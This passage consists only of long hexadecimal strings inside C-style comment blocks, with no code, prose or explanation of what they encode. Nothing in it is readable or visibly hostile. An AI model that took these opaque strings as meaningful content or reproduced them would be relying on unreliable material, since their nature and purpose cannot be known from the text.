373d380f013211bef073e476bb5f4beb42333d451347f6d7db64b8e716c89ef7d65b36bc64bc7959ffdb338517b63b007093917cb654a844366e06cbdf01d90a7fffbe9952f580852c6c6717b9252379945a44845b3f6da89a708192b3937688234e797261e4eee7e554b4f110054e080acb47b4a21bf45fcd1a7170990e19b40f988d14ef51386cf2815c05d3bbacc1b0f4f3fffbeb8c370bdc7b8eb3fe6157159e9f709079175719c94e2732c9998cced4eed2289d242ab824b993d5d3634c3fb74f45e887d8d1a9116cd106e76efbececfa0c5e3c9f675dbc188bf4d9b9d882da4042b328bcd58e7031521dd8324c88e0d8f6f0863dd670180d3bdf5276b56eb89786600b38f56d4c39010ba0d005e848a8fc4f2465f829de2f85fd3743430d6719d55b51fc61faf4308121c43d709981e680a6e30fdf22d67f3d5785d092621e6ad493a8779e5ace3861189fe9458c284fccf9ae43de73f33b0696abf3e7f0d435f276bdae1c470c9ff9ebb10e04cc8b2b78bac9b344d67f611614c8cdfb99793447dfbf0f9bd9fe48c60bb64d99858a74abcb6ac1286f5c5202723d5a22331c74cd2a99b92f16374ebfa6306c7391dff978f0421e6feda54b0a13551fe7b28c12209a3716f35cd5de32f8cbfd22bea99747d65572cda052911cdc0d442d8ef2333a7c8bb656f9b783400997f1648d4b55c40d6c07b63104192c8ef8af5b4c1903e08c530a46466bfa6bbadf4e2dfe98689877231d364c38ab3f1bfab9ac4fbb893b88626eead8e4af67601d561d41c14853823843aedd8ae2b893a97ac35bdf8fa4fcff11d325a9a3b93367c0b3539b5077c84783e98224292b69c01dd4b2b3af8b483af1a7d3b5bbcf7d7b8e22e42d4a11b984edc9553e2d964591c92d9cffd7cbdb854106c75fd617b0abd51846047b8400edd794e14536f601a43c63660b6a4efd43c13c7753d24a32c7fa4028cbf6ffd748084707cd0575215b154cf71313e6af58f766283edca470afe8b3b1a220a5529f84cba479ba38c60b292585ebe663db8a2805e1637e4ef8cec00adfe50e2352cce52d0517ebd46d05103a4d7247669c62fa945f95e90252b5dfc9a7574606f10b0cd492cabc19c0b86794a4eb9fe698a8df7ad02bec321ab2be3db41e856e63cbbd47b791cb32f1bebfa31fc20d8fcdfb7a131e73c664c805ef6256094eefe8d9534404ef98a1a90f3e75d92cda7ef82891e0aa18b807323c449241b095938a51641fe22a309d63dfd21e84b701e4a469d361abad3d3afa1127c75124b2eafdebe07740a3edc52b1b29132f43f820af0e5b04b2beb92fcb8057e60f15695e6207a19d22e110887feb80f5892e4d9113e618e2895d1d0f2d1ff5f4f5495abb67e45d22317de849882a8e5649ecb5857dcb5c07af3e4ffb79be18c9d3b984f7636abf325f75e8961028217eb42e427976102cb162cba7f36e217ac56313eac5377247863651105ffaf2c080e6632acb153890438d4bc5bf3ed510acc5c610f11f7f840f7bf231b0acd64ef11a38d8554eb5726445dc50c3d2e084f79cfd92fb643bbf054788388e4f639205c9221080237ef4c4859d7cd302d43254552896b4f6c1f8677dc272e3327954782277e9b409e24bf91084edf3a6f52f39660cb0f8d6e115246d18bcc1b8872746d5ac587a6840409c1d530e20624ea6d6d9e0307162039154472b821094c99d8816d9de6e9b27eb2250cfc8e5333b6fed1fbe59b57c94c8b22a5150b9854ac23d5130da8bde15bc490b15a3b617d9c62c20cf956a720ff767806a87d1909aa9c51eb3a489096aff4c3bedc1148ac3f97c9ab8cf357432f3f457743fab0175a30384c8c318d701a7ade1d8ffaf2b2ca2e9c459b3fddf4b60d0a49164c25ab55d3a33a7ebc2b486fa318679cf60d2477f102075d2c56e3236fa9e101768aeac19f4e24e01040d43c9b9f848dd84e79a8b475de10786dd171f8ba620093210556b53012005572a1f5d839a9eb7ecf53c7155116f3fe2993574460c6bb9c54c3eb5fc442f94b4dccac636b0ba067fc2a59621c92bb912237f402ea692f163b2cd7baa496*/
/*bec0665424a8b17d01b0bd4ece6e71c275d4bed6068bc808c4c5028432296a42668e718f8c8ec48483b0e8ed7ae47242a61081d52654590ea99c4dbf132c519425bb5884a2bab24979a9a223cb9bee815370ecdd873e5e392db29f274118a035668be2843d7a38d1a1151828d98d1ab90b1ffde08734f8f8009b88b6785bd30e705da3c875f9d1351a5c75922d1999c04ff454087598ab4d1da66f217c34f9668843a4d8e9a627a4d3e3bc4d14bcc3661bb50cc1944c707a75af0ce9f59054368ab23f21bbbd7f7088a4c53e429ffeab9c1ce847e732794c3d2e50f9f6c8f11f4f42622a09e077abdd147beebf8f1f9ef395f137114a25c2fbeda519d85d30dcb057b989f00c955f038bbee713a77639dfae237ef83da9b30cda6c4121c61f004a31fa696f2a7f373f1c4e7e66a4e596c99321995cb2d40bc9b13f6f424fa8ad5c2aae3afb44ab508ac834156b77ecdbb79146142892811d99315298a922e36a884eeed536963c1a93bca712dec19fcf3f022684b8136adc44df1d38613252a4248217ee54f1b83f1602ea5d5c7216bc734b99a89422a77301341cf19c2867b1832c6462a8b5a03e9728311fa7aeef87d867cfb86950c425ac811acdafa279677b859f76f7b4f9d152215a0b89e8997b40d555d030ae434ca86a911b5dc44f5f5bfb31cba747be61fac0409507dd2ca966c5235b493ea2462c21456bee7a44e08f4477ffbb3a7b990665750442024f88cb19c2e5a753a6e9accc58e11ee0afef9901de1bfa8a7f3e4c67a480d95d5ac09b0c6d9c00b20db5a87abd08823f119242ecfe3acd41fe27ae5e3c3cc17fa7914c009393de36b202f28a4cb079f26f4bc2edfd115869c57075fc5fab9e74abe9f9036b01b88a60e06ecbd3b523378e64c7222c93f6debb1f62e1645a431e15b9e691155b43b225ee50b3e09244cd90006073ec78bfee671c541067b4d967a4691b85df69d78aaf250df8240eff791e4ef4230de1b67fc08c87f460d789423d9d979c6fc773ed2bd3be2198763c8d664396f06415c3c5a4227bbf5f8914bab80c2e6b2fe4bfff1f00f22feb15e2e4b259590c5bba9b7af24d4f465ecc8dfcde5a67aa06db5e2418035a898d0d4a3dae010366625809d93b7241c95043c6f36cee41fcd532e833b001ef0db81687f19fa7fc6096ca243442c04018b296a1fd0d96690954f855ca8db5f99174070e472676d8b7644e3c936518362ba0db6b7842c4b4bbd40964d1697dc963d847cc4cd9e9bf8cff6c4d7e0d9cb2fee2e4be651d68e3d61c02a00466d405e18203d62622a63e0b62dfc402104f18221e5e20234df9d026d8349bf7920014c549c2927d570347d4c71a33478960903cace5723f9d860a111159581cc6ce5b03f2c0a842feccb3d4a135947a2d1e928c7d1aba872cee3dc1bd76ff00657e0fc3aa2d1ce6e8c5614c3cdedc63924c6342ad6d478b8f3a42315e6747ad1f64e431f402e1efc590fc3b043383595dc985a1ac81bac9492aa3e8c95cbb08466c1a9d057106acf25d8ac624d938a4c7be819f862116a0634df9f5075c65535fa18d42f738a9ee152648de0ed423fe3b3303e645ff86d93545d2f48beb3a1edc78ff21e7ced00363dc426e08f0cd8d9759407b663191a56c3bd2898b117576ce0c3ce395fc1e94e2d4e09811b4bb9b526fdc5e7fc7f59bb230a237c77b1d6e886b19e75c7659562e20d92af66a2583ab90d41e0c024470b92afdb125e009c2864ffac9bb7def2d988974aff29414b58f7aae74d6ab5e3bfc16bb98bda32d957b01a9941248a2ad44ddc4a268eec6d9828294b3bfa311de3dcc7e3a6ed20bca4cc4c83f43eef0bf555f19e589935e9417ae48d1f5bc525be701309a730c0db62ce9e95307324af02578cc6f1f72f45fcffcbf8f1ebc326d6d3709bba1d2a6b80c5c322a32c50fa1cfb4892432120d55e92ace7ad2d4859441e05da252c16c0a7f96ed5331037c8b555195f3744e8b0e3b6a671831c316492a7721fc9a7ed0b6a915107bd9e2b144c7cf654670cc77536de5ed36f7c1982b74edef2e8eef1eb22171d8c6f3977414fbedaf1648a54e0e21021e11dd3333259ddc3ab3d3e30f5504877ac63f60d461ab4d1e4ec2474afadb92ac11844b106f43e73c97b23aef5c3437fba5478e53e82585e08cac35626b8660ed012458b5ef91bcafe297fd6330c02add8306dc6844f8085ddc05c7106e085877dae46b8671d73b99ac3be4acaa08831c429616a60c055d02d9d9f51fa56a4d934a2c3ca46a0761409e46b6432b2b1b52829cd4087fe055e1b8b2a25f9d120727f7904da0b33e8abad322b5c269fd6899e8bae755c50e1efc1bff5991a3b9f5d10e396b70be1073807113dbb6d4f8cca29c83b71e48813e1590731bf04c56c3fd56c6ab71881df71f0dbdb6321afa2b5e82db2d743bbb24d3f6729b0175e92a42b4aecb7dbef0780e8826142909b210fe87a28c69e387c61619cc2735c7f3f500ffe8ae25805d93dfbb79467ac746bace492b267803d4266c28e89cb3a5dfb1ba0d282808528fdf7b635163bbf0fb145b0c50702eddace602eace836adbc0162fc13975bacfcb718f2bf671ac756dbef1b3eed2f3b46331fa743822705d75effedb31d31a7027b180a77fcb72a000995be7b20396f69a783c4a584c2e5821641adac887724feeed389bedda8939ea4f66584792e90cd9c1e39cae8807000559c482ed036e1815616293c3efc7019dd37267a6d46b53d4a8364edda564042a4e749e1611de0c4276f3410b88b04239c2f3dcda4b73b866d90fbdb1aed8250125a25d34319753c19b*/
/*0a8ac64879c195a1cb42d1078da77782bc0e15f8a5dcb50c79fc19aaa2988a95d0698742c9e770b1307b74f000bfd2445d73bb2c68c6c38ff5f0136b653bca71069e0d3f29524c6fcfbb7608841e37e1f64309869842281fed7d47484bcd1b51614b2ccff844fb252d2a44deb72ee00fd599cd7e1e91043c1d2488935b3c1d45d63b70da8f290cdc28efabec8c8f795be8eeb3e6bf88eadad67ffa2756a4552390550f55a95fcd432bc534c00620f79026e37cfb58067d8f46a3d7b6a902c343538485a4d840960697032a4c3965e0367ea53fda712e1014a7892111db95c4ad834dc31b2cf040579ac3f9c5b7aa6673f820ca4540f37ed48113008d981b1284f425282faede5ce7bcb104ae5e8f472765534727df749cfe1138c2ca869eeea4855a6caca82167553b41e8cae608e1a1016b8adff9eb709ac11d8ba2aad195b3419a28a94b5f6d2323b51d8599a183d84b29f139357c5ac227e760800c0f6ae13b798f2c9adaadb41e36460521286f8cccd2637f1ad6e372e128a813618af4d2214bb115d96576932282da0272b1205483e150d27e61f882b3dc859a31898853d84b9a433bad432d364ca2b23111446cce4ed464627469a8a68e80f753ca6bef5190e053102232f6654e51c1de63089e46112ec03ef93f8f28eb25b854242054a81c7294480bd954cc571424d88fa4eae7d9cb2b34f18bbf154f1b3b2ce9ee6ae01c8c528da3ba431c37dee6a3799a47496c78d86d2f9905bbef9c96e0a679308058a3a3c15ede75dcf51f099eedfbc43cd4a7e99484f1e2a5f274c5cffaa327a583ce048bbcaa2c55de9c95f8c7ce471c4f23049644249de88d678895a0ea2305e901a8cd7d6879e07415ce3a131eae0ae381801341ff089ce71369805020e329e0e0306b8ef5bb5408b9edbdb5aa53818a0c58f8b9f24844545bf603eb4f10c96eb67adbea007fc96fbf8e6c4853b2280033d19d4fc89c4ace2907e847fe20895e90d94574a289900dc81c40724cd302d72bc8f9bd580fcac450782695b760914fc81535bdcbe1f55bfc71620e353abc02afbff91e87c32b2902ba7683a423c4672fbad8f167a82faff79a187e00154f3fd692c90242a0c24bd06af7a3f32c6b331e4dfdf5e17b938934e180b1beef7a3e10a9e65f33269f65931ebcd02ec40dc6e6ee51745e69e4e8c8cce13704ac76a228d5fb62cf9499ddad5c91351eda24762929905497e92744a2d91c4f20a103e32cb2b5192b7889248ec1b0972fd5c2a9e4b128b382418ce2e6965af8897bb25fa9e17faf53fc3421e69367505cfa458203df22664060c556f3cb70f83333d32a9998cf2e240be80975c42442e1d5a9f2a24b64d3ac63a915104ec5368c50f8da610f1a740577384d6790101d0cd9ee77a0987f537be755e24ecc44e6e3e4feb916f2f6f0fe137e317e5c48fc1f0c998fc6cdb505a9835867ad31042a4fdbbb682b456279cff88bccec0134d08140dc903b042b80e2a16f7d5ea34ea2ab87e3033ba741ada0cdfeea6fea582446a67c40904914ad3c4335c5d7398a116a2fb88ba9d6bcee6a58d06524150ca9c36ac7a5ef240c1437ce41f7932a668397022222457bfdd8f8b59e4ef4e483a072f16c229ab5609bc6911c8bd4886a144ded2da2273cadf7a70f853e5e42bccddee8644a22a31452a14ed74e48673fb51d3eb62237f88e2a148fb381c4efb14ab8123945b44d3e54243426a8585aa7672dbff7d22e0b7f1689ff8916c6da3d17f81f63f5412dc50a7963d9f0998be25d4330736871b4894e40a5ea92bc16265fac2d75fd45872bbf79a30a69877548e6e2cbbd4552c805ae27fdbc5ab89000e4b47b7dd805cbb3267a8e1053d8001ef92961949997661c988ff67be17f09a976a3fe1a81e11e9fea2255af355fdaa621149115883433eacd63b961a8b9ddd53ca40aea541a27abc3d6e232b16ab5477677ed6cd3c9e22ecba0e963187544ee80002efbe40fc6f02051795c2e44f88bcf7a99d88c6467fb82155caea720e97b4569d8b88946ada66042a07e6087dd3037d24a6eda858703c19000434627320df394eab5b8dea237d4110fb8d44ab17542328155afdc2c7a45644d93a45c323636459424bad6cea3ed559effd4cd747f7827d4b85a0f540ace157766e93c36a112a5ce3c1f8b16df0234b0d91b4cd945fadeac63f860ff13ca819390b6fc4273cfe51abdf0aeb11963f84817eca8abe8030d351e30fafadbec7dcaff9fc5d4fe0c0f16cd2daa1926aeaefefeaecfc1c627c25bf00cbbbb22d9ef0b39960bd318fd7e9e911405d20a1704dab5ba4441031afac96ded8e4e8c8b6be837df2d80256f380e6d840453fd01ecb6fa28fb66352c84597bc7f3b8548c8d3ee5017b9ab2fae68d142af3699878cfa28a661ec4b627060ea65e2437c9096685ad7c6f3cb1b6a15b7e7b46f6b9443737d9057229468d509c65b69682ae8cbd9cdf6c10ee0cf0beaa4281c3a5d4d2e8846db7b078374adee246d8f9066a15fc2d06f0dcdfa77a21e7071b8bd4be2b74b322998b508c0136d1bb7cf83730f442ebe07292c5ef09f0d48cff0f1bd32f528400ec77a7230b3f0ada73eaed42da755856f9efa39c536c5716765f02ba9f913e9253ba3e1bae85d2a5119f78a8e4471aa70455c1b1a40d7da99dccba2b3b2e343098329e88b8858af7a84969164ccd9816cb8107b1bf02bcbfaed540b366f24b44e736dc5c79af6061d8cc660b5efcd685c6044fede1ad4a2ba4a2ef4ba8db14b2ae74d89b4f229df9ced119979464567b37aa51ab2dd0237cc9d1720edea92d2c2ff288dc2a6fa8*/
/*903e352f8d50c168ffda37c060f8091c9ff20975b4ef7665cf0bb6564dbbbe4c4103ce35c29cecb272df6517911c242e2d0a925236fe897a0e202355dbfe331f9755d4d4a2dbe8858bc526865dc8d6e0e2291d37226aa847daf9d0c6da3027c4a6aa28d142f07600351324972e2ee9717163eda15a57ba4be36f42883304d118f144c3758f2d4f16f19bb2ffe1a6577f3484ca9c392c0b63d451d2801a09271403f87dae2f91682fc1447276aefed249da582544dacc9e9a1667a6411463a1a3b000dcc2749c32c1532e836c97aeea80f283761c44597f6e4d8da5d55c12961b767ef6ba672135062007d318f228ec9921b1f0d7e56e3649b5cb1dd0584a3106cd9bcd76c375c71b2b6d47e239f4e3382e3d245a48ea07e91a7ea8ef3b074abc750dd3356f4c61777bad8b87bc7cf528c801e535b5aeec7b8c0012950c4648ccf60c768857cf4a3d31189dc9a04524defd2458a7016a661edc794696bc7c43360cfa3dbd866b76588299794ab41023af00ae7f3b068a0dd8ae20c3985e17a1690987544b406d2b77200cb7c8550d6a233bad56a6a192980c09d4fb2179232c97637fb435a9fcd60d19f1cec3feddd8e272c182b90e175db70970a55fe2058df659779adb8d517d7941e7248145c0abe558e150c0ecc0c10d2f793bcd0588eb1b533036fb5a11c3a422ae2ed120b52d507ff4269ed70244aa7c1660b8a574068a32b07d7dae5008dc146e10a2c5e00786e0d7b364eeeceed92a76e26bb874a2abd292887e79091b367b1700a14abf44f73d00279db1573635b139591885a953df0bf7a880a720005d9ed8dba8284a8612620e278751a69656951258d5513fb0553fa661b35d5c0ee5198e3a2b628eedfd90f31af7ec6a18cc3f33e36f63dc46e97a4c964d1e66c85647f42d0f3df1b468459ec5ab8fadab63254890a39ae0ee8fe0c820f47ccf12ffc639b303feb35a1fd855d6c51e9ebbff073c99c661223c9fd247b7837b442c8f84cf390176cb409f2e631f6a21eaa7f46fe1c5bd117fe245b274b1c739d9fe4c3f4935779f73417fedbe0ce45b14b5fcc0e1a35759c5c579189f710ecdc53dd4267a6340fb94a2429ee7a1dda4445b4154859ad4bdeb86a2b0cb851f07a9c6e634e22702b85eaf273c6b62680d8b98395c43b6753f0c933dd09667f0033161019508ae8e2eaca08660ea244d8a7dc042b91fd49ae37534c1c8adc8c565d055649f612eb77cd5c6813bee164f4268d6d627b0ab1341e2df371ce1e029950792c4763f25ad2f1f5338ee90bb2fc8c5889fdcfad0de63f8893f4571f0d70ecf1b0eeca2d479b2f45ede635e1182be4e54ef53d873e728e94fdb887897e698fdfcad2f66d15e906d0acee0ff4abc52085817b2a00c2a674964622b79bef70c59c68a99a99bda48ddbbf9134fd7f18573d5cb1cb788534d1db2f2567406712c009d149ca00596fbd84eaf804d6d12f42f94cb804e142e5f0f0c416894ff7a99a21633478b485ab2c2afae4e3951b9d9cccdc612ba20de6a2a3bc65d0cf06e116bbbb3e1a721ad0a547651848c87e02c253b75aa973d27058aa74655d515dcbbbd97c2ffe9b820282dbfe3e430b307d808b2f9d8eedec050d9a0542127a7754cae5bdbcaface79f321520f71a39190883e2fc9b88757f386b4200756a6230e2d30e4bc76ae7544f3e2cec596044fbcfa080dc5c57688773d0a7185594029281ff26d9ce2b1c95bee55cf67a9de85be82a88dbe2cdd883060f240bd3e22f165d263771a50606e1126c009e4fa31d43b276c9d791510d5140897673d259b99b4d17d86009c63ca5b7e50533a1f2ff7501a511dcca007ba71cc0b7452935bf6f4ab94cef6b5fd6a1db64336669082a62bc06b5d445bb9e4cead686e3fd7c3e6b2d4d9c9c8f72fdbade12c62ed1ba6c503c6bb33531b2f92cb8e9872752587a94a1c91fb82097a4d685935707860516642ae5b6c419893de0731169f7b3b94998081414de4535c6909be48b7134f4b56612a448a559c855ef1b57da078efb56df6a76762da067cb64f58029d694544a476a188e2759211cbe480afa94497ca7602d4c9396e95a52663d6657f492ba3071c5200a4e960981e5b362ffa6e6e550a995d5ea61079b8909574c5ebc99582f9180bfac514ce27fcb4971c9473fd206025fe7978e907387557ec550225de13d26122d55710331bf9a629b5be369036df735a1d55d57233d09f5a0ea12973cb9e093cd6080aafeeecea3a622d419c0102d29985511c9d0be7164434e780b6ccb5b81da264b6bc3482b42250ed1957bfd52cbe8803fb1957802ba708b6d7d57a8a2951946f0c9ec7b41b1188d2b813001a8b147841bf098f00ee3c4eb86d5c91140a0f0f1c169f522a05293cf4fa8fb41d8b0264b55e993f8054880efac7d1029e968db319fd423dbf0af7b46a534709e8233953784d59f848860705cba90081711ae1406f3cca9db542db79a7c806b9aec701051088153eb4c80eda1b389fd93b22f974f5ea696d914d27ab628bddf42c2df9299328ac981e0b8eed0a64c30e593ab0cbe554cb1b6935ec40aabb6fc158bb39fbad675a607b65804152c864c5104b9cedeb68b2753efb263d70ba8c0737ae41ae877f6e44b213109bd8092cf3e7a5bc0ca9543feb0fb7335bcd725a2ed759702386346f1eb73dc82ea6b28bb8938ca92fef239f9265d7de93a705b27002d11ed8d1d2ebe4cc995ab584943f121079493ac16abf69a52409d49384f3e6bafb25fe06087b11eb8bd42375dcf5f82009f257bfdf160d21b01a725efad0589c0c4c40f0bfafa9c861bf5cb013*/
/*6e4739f04fd08a03e58790b9cf6b6e43a6b7f9abf34b670940bac8b9eadb47e9851cf4c62bff9161cc7e3487646f4f1ed21103acb1ce029dcd627b10b003d19d63167a1b283da06fe4081c5898034b699d7c89c2906e89b0e6d1c8b956ccde1549cfa07423cb6b37c5cf2f43f20eaf50862b85f0e628421b26acc2d520283759de9aa181240d04850f84d8303190755e497a1fbf0d754fa5dab22bd50313e374c2a840a3915fdf0d1eda25e45381f0196686bba5f37b7c613ee26dffc905e73a488813bd48bb064058316edb64cb272e9a5d9fc72fddd7bdc017365d41a2bf123e925ef565acf1ea1a4cef325a0f7e5f68c2995d849f9dde8c252b84c03f02142f04a079402733903d15c3eee29339a51ebcd45a2e6b3248ef28ec887696038cebad9c7585215f11af6c760217224394076c5b8d9c9009f7e9bf2619b42106f28eaf3ee1e23e41ad3fa7b489c81fff99f8b317e01f5961b0812e8867a434abb79e10c62cf6f2059fcfe7627ffcb8a7de3aabe448373e91ab1cbdb3cb3ae2704542f1d5c1e8ff6140493b0ea4264bb9057e16f3b995874bcac75f86b680a615acc2c52ab0ae99ae01bb428b6e2002d98d4fb31a0f696e9b015b2a31d65270bd5788b8bfdafb4e32f1622ba9ee7b3de1b81af369085bf78f45c2a28f9124b76798fdce563aa5918930723ae344e96ff5af6c0ee74939a271fde7d6ef8d3a3cbf37cad5c463ccc0f91cb053cd42e2298f644a8a86d4e3e5216b791c1d0ad848f8e7a7d7075e30dabae65a438a39c80d971c0c41195e46cf72e5ed8f1212703a76457255fc5a28b8e60ccb8fb9f3edf3df206ee1aa3265cba1f6ef2dab948e2c2b0dc7c2410f7b2b3d463145a8abe5a1dca0e892960c720bc977d1f11f53d1e8753b295e9142cf101512bf7999a70c9a4773db5a76fc2bc8cdf41e760458151b68602706ccc0cb438d40eefe423c5a4537acb241025677a1022a8c3c5ab50ca768b754c7b4b69a2441929837280a73e7047117e3f615c8a9c273a3bc9ace3d5af82f30950cdb6650b2318545f263a7e1f04b96149df1617818c7a49a645267d9111b00c77e23054185e66c70abdb1cded19c8884e8753c33e33242c7fc0f4e399f5e4c6774282df3dbfeefd8999ed10245d71d3ae0601d66ecf62b947ab35c1805e311358655e73e548735d58df705cf81f3d22071ec8a38add0b230a5fa5943708dfeb8c985688f24a18cb9baa1a9cf4d70e7ed55a792181f88127fd1898a2e0d58deac274221dafba08804f16db1f11eefc1b9656035b23f0e5e0d1fb9d12e09692b40da55f68094424719e45196e67ca4bf22379600bf0dac7293cc3ee871c88fb3c769c165d39176917fb573f9c447764e5e4696dc3754a6f8371bc08e4463d1ca553a8d4bbcbd8f4fde754fd001a09c4fb27ca6a86ad2579394224e540b91b833328ec0bd1b1b53c27bd9e69c3cd7daf1ee279db2e16207b908530613b0e44fcb3ccaa01e990ed46e2c455416c6d3c5eca6432ca6a480e8932365a9f84b5ea8b9becf759038bff560df30d177bf317879e429e1c41d509643ed747f61864e6622bb0498c374cb13c777d92fba3a82cf6389493fdcd8374d349d24eb396ecbe6f0db99c9cd0faee82040078bbdc251d0af315e8ace8c8028018c9ffe06ea78104341ff09538852d13ca3551106b315ac149e7eb65a87ae05222265f962ba326b3ea7bcdcaa416d8f4b446c474f17da85c75a38ae096e4eb054c8cc1d87040ac93fb15d0b5e07ba3b52b4e52b38851e18c74a7bbd6396c1d983c8b1ca531d102bf50f0160c2e8891d146a2312536d5d7cdd1899abd8ff5e21555c9308eee41b6ea69e2ea5c65d06d83bc3dc70ae0919702336541644d2a51fe132cf8f17aeb4e08e7095b1ecf3837034bfc0a863484b25c4ad79562858736d18f45551087037d5cdde0f6931f3a2f4034c411aa19a5240eeb354fbd84360676a1280a4afa1431a23de8e1f804f2ec687f5d60da2b59115be2b3d6f4514b2139591e958af76a7a085f0b022a0f1498a780222fdf4a45b2fb9d41c39df679d8153ab6434433ec12ac363abdc2652537d3de74cd3d346d0448c74b6c6e85ddf32164ddb19080268240550a42d573508def95ad715619ecec58e6a04440314d6c94a6598cbb470b863bc00993d6b1d87546789bf31da91177bb2bee59846e86cd37c2c0e2e03c23efad1f1e02127150c602df895adea7ef7ef4ceee243c944af63eac50c06fd5d7a01397a627fee40469fe1a391850ab2aab9d1019ff78cd762ec6c7838009b0495f8dca7f85c86dc48dd02a9c6216efea46666fb4b31ab53a48a3f37b8e7646fbe1042f5d23d5a2974a6b8e500e1c5ef5691749d1f15ca92422eb9db79ec7e81fe647a9bf271eb6ca359eefa5efbfd334e5711c75905b68e41e45ab5967c28ec7ac77b513ab374642277f581eda528ad4fcc476c2360ccd075aa43bda4431696fd759b085dd804c97dde296beaf71cd590470b00500c135381c877215a2f12e042779f5a7c2e388f2d998555023c202cc3d478859cf06532ade65de970d906dafbd57543e83db5fa42ae002ebe2ddab7e11d89740bf80a575046dfba5c17f09f5c5632c7d9bba6ba8af656f0634deb6822d240be6fb3954fe03a74de25442625ffe2347ee0f661dbf678d10a2f67d3b15129ac5882342c72b02389b64bd0a15e171c91c6e20604d3c07777a02d142cfdbc46b50fbed6721aa8a9c090c8d70fc2a8710b19521452d05387bb5f855d923d25703da1e6783c67078a1b45a247f0158a8ac328d6f098793d9bd062dcec93ab4561*/
/*f67e1847d2340ae17a31a725cd41442019d0be909b8df1265c581d4a3c068c13a5fda4d204ebd8d3601c8f2c61d7388095a5003897acff234aa1965b06062554d321f91f90918e7bfdd7674300d32f5c02cfb7f50ff722885603c0c0da37c609aa0ee064dc65e4e4af8a948faa1c1b72852efa29a19fbd0bb9c3d8a10e8c514ffb85c989d7878f3a0dde5137e4c9433377436600f2582297ce0de53ec01bd0acfc1b21a05ad2cc803f1685f6f105bc7706ee25dbad4927c41c674b08427bd3ac47b3291baaed3593e8fddacff7485480f1f1d170425b29b11e760906b2fa29d383561cc219f758a733b5c717e313c79e9164fffd14444a86535f06918b8fc40503057b64861d0422b0c012f6e7d2593e5feef372caa368b255d55e277402c07558598f7774bbdf7e93e5599406e41b1ccd11e00f37d2acac0e714d490e5024f96f702b1bafa54a0b45c0fc704ef7ebe4c3c45e3ff784f52b5f6afb595703b15ac93a975afafe8446dcdcfe4fdd59cbfba5c4ca41a944a97d867c77a17ba7a09cf542215cbacf1a4e83040a830309eadc389aca863db2fb6435c2d004620a191f22cb538ef45e4cd55c857e0e98e63c9dacd0be5810b0fb84d4f8a1d7eb724f76b7f22bfff0e359e603df5c7ea24b703926e52ada1784448f1bc38601caeac6e3aa0da36c0269a2f8a83e6b010cc594611cca9f6fad6fd3c557f7336e41df77edaf185921f24c0fad94ec111dc385e205e86d0a7b2537ab1f2b0b8c1170b0505eaafa4c6de6a3e8ae98fd92f109f27690e5f25c510d62092b1a30b69bcf0c5cab74860ba6b5b0f058fa06b9bba471ffe912de90c9567da2efa19a463b0cccebd207c145cdd47687c2325b8d9fc14d39778fe53871a877171585f4a308e3af57f2b5f068af6e2c65329fd8c5ae6a15b9cd7c476040a4eb08f06e480991335cb971fa7afd0a11d938dafd6a96692ac7cdb06ee87321120227dae66aff305f408800278d54a8c160635c509ae1f4b63101b17d47c0e7318fac2df17af5f4abf3c4230a0ebd43b4e2bd98ba865bdad36550493822de0c3993168430c084059c183dc5074076bf1d52f97b11cc191bb792a6df508baebf8d6607e4afa6a8f65a6b21c6cd9af124333ad54a92fda5f20a924f8708dc8ea29b77f5dd695de3e6a66b417bb94504706bc5349ed6600789e7fc90e967a320bb48a8aba91095b29d64724467d5d5fdf436ce51b143859abacaf1b8cefcf020233326cd0ed58b6a1ad1e31bb0656616c96968141a383b67b0463d4a69f1eabee0b2aa596a2ff88bed24c3a45cb66c9569108d0943e991c93d19030e4daa1ad9b2efe8820e70c4951e6f90d137f627f7a6b3dcf382750a90cb76b234127a8f1c0f3cfa645381c212a5ca5f3db424cef0e125f8d48b561b40c1df035a3d80ee4830bc6cb037bc83090a537c36703da018181a2cdc9572b8c200e228bdd823b337e60efababf349812f9a5675051635ddd8b8670dd1868c7813ef6a8b990e57cc6299e7df5164beb9987099d84c696398b4022f4a682a54687e76c0d604cba3acf68efa32205e85a8d70116ece04fe87533871e7b60e2539225c3ea1d7fcb24e83169f4068a8e4eb6b61c0108b98ad2677d107821dee0d4797d17bf3ca0ccf623d8bfebc859a7da25865dcc78bb22e21313370eceb2d7368dc179c9261d7546ec4eb56f3c0a0b54fe47b1c55c62805dca17fc4c26c5df980bdf746762e5f6bd6b7852e964bf6bdbd1b7ca9023f8e57aa468195ce97e9c8297df2fd513d6cafc27536d633816df27ab75712b8667dfc433da35ace890c8777ffc1d3e6e3b94656f6dc4025839767aac43824e6cc0f02ee8ab703d44a1665b32ac5c9c0ddd4ead55aa2a1f382aa4642b9fba852cc612f9e1e8975cb798a7b8ddfa485998d80fb866a381388e25e458c5463f8c247ac8c7d2a1c5903b65bd2096d79025a02d7f637f2d164475a58cb71ed3fff3a897a9d5f1ab6a06c31548e00fe8e304890c52651bb43041fadccbe5b23e91708e50b23385d7409d0bc0b5d1282bf7b144981dca728e5f393116a80030455c0035bf6a4002d1f78eb708cb243d8532ac9e731497d47ac1ad1f1348c13b588ee3ef2149ed5c92d6a814751ee134e44267a261bfc5cab9073ddb8265762f1493ebe380229006e1c744d14729280ded97216a7a2b8735305cacf56341a21e74ca21c927da4c436efdfc3beaf533c7c28430f273f646627a2a117cacde5fac39f902cdde9beac2c4fb141342e4b1279fe0cde0277f963737536e2d7d8584434185798e30fd3cf1b6ea0eba3681f1b6b0951ddadea35ac24c72e4c01967d48c18630868a8aa20f036bde61db8c0d26b371abe8df2b377309762946aa70abc43ff149a593bf14f445997427ac70a5c44199f15429e50fe85f86b8f9db7fc96b3a299c5d26a36ef8c08ed48ea776974db6eedc533e0836dc8cdf1dd3daf7d812a4851a38d414872bd2f4c962351871cac4ce1d2d69af20961174060842f7e176793b3bf240b185db70b3c7c94ecfa0821c060d1e73cc47a44b61e790d3729010e0c60bc3e83da8bba1a48aa9b9fa9522e78dc543639e00accbc9efdbf0b7064f5d0786722dbf4c6a94710925fc02d817334e97f72d7fe72828c2374ee222fb79210616f4891df3c34a28e3cd2eba1af57fe1da4cd0d7a4f5a779ce936d89e01309495c24e4cf7612e38482f53a8186d1035c4774bc3ffeecea100d1b2089485c5d69aa3f7a4a36780748b5708c44a828f76f1bc594757ad1b31dbc79bf88fd7108456fb016ca4fb0105b506c22148972949c27bdece0*/
